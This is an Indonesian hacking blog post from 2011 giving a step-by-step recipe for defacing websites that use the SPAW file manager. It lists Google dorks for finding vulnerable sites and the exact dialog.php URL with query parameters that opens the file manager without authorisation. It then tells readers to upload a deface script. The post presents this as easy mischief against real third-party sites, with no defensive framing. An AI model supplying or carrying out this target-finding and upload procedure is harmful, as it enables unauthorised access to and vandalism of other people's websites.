-->
Welcome To Team Hacker This Blog Created By Ryan Cracker Dont Forget To Follow Or Coments My Entri's

Tuesday, May 3, 2011

Simple Hacking Exploit (SPAW FILE MANAGER)

Kalian dah pernah nyobain DotNetNuke Exploit ? itu juga salah satu simple hacking, nah kali ini saya mau bagi tips aja buat nambah pengetahuan juga sedikit jahil .

Langkah pertama :

Searching di google menggunakan dork

[inurl:"spaw2/dialogs/" ]   
atau
[inurl:"spaw2/uploads/files/" ]


Langkah kedua :

Jika telah nemu target , misalkan

http://www.SITUS YANG MENJADI SASARAN.com/admin/spaw2/uploads/files/SC.pdf

Selanjutnya ganti :

spaw2/uploads/files/SC.pdf

menjadi :

spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files

mudah kok,tinggal kopas aja deh....

Langkah ketiga :

jikalau udah muncul halaman bertitel SPAW FILE MANAGER, tinggal upload deh script deface yang kalian udah capek2 dibuat make Dreamweaver

0 comments:

Post a Comment